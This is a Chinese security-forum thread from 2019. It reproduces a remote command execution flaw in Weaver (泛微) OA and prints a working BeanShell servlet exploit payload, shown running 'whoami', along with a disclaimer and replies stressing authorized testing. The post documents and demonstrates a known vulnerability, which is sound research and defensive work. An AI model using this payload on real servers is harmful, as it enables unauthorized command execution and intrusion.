「复现」泛微OA远程命令执行复现（附EXP）
本帖最后由 Te5tB99 于 2019-9-20 21:05 编辑突然想说点什么，但又一时想不起要说什么，新年快乐吧。
正文：
漏洞详情请传送至
「漏洞预警」泛微OA 远程代码执行漏洞安全预警（附EXP）
https://ihonker.org/thread-29947-1-1.html
(出处: 中国红客联盟 - 08安全团队)
不讲那么多，直接步入正题了；简单明了，看图。
首先声明，因为未获得其他站点的授权，所以在本地测试。
送上EXP：
泛微oa exp
bsh.script=exec("whoami");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw
附张图
声明：
此帖内容仅供学习讨论，禁止用于非法用途。如有违反法律规定，与ihonker.org无关
Re: 「复现」泛微OA远程命令执行复现（附EXP）
这个漏洞复现写得挺清晰直接的，EXP也贴出来了，方便大家测试和验证。不过还是得提醒一下，本地测试没问题，千万别拿去搞别人的站点，不然就真的踩红线了。感谢分享，收藏了。Re: 「复现」泛微OA远程命令执行复现（附EXP）
感谢分享复现过程，简洁明了。本地测试能跑通说明漏洞确实存在，getshell 思路也有参考价值。作为技术学习笔记很实用，声明也到位，支持合规操作。Re: 「复现」泛微OA远程命令执行复现（附EXP）
感谢分享，这个EXP很清晰，本地测试的截图也直观。不过提醒一下，实际渗透测试一定要有授权，不然容易踩线。已收藏备用学习。
页:
[1]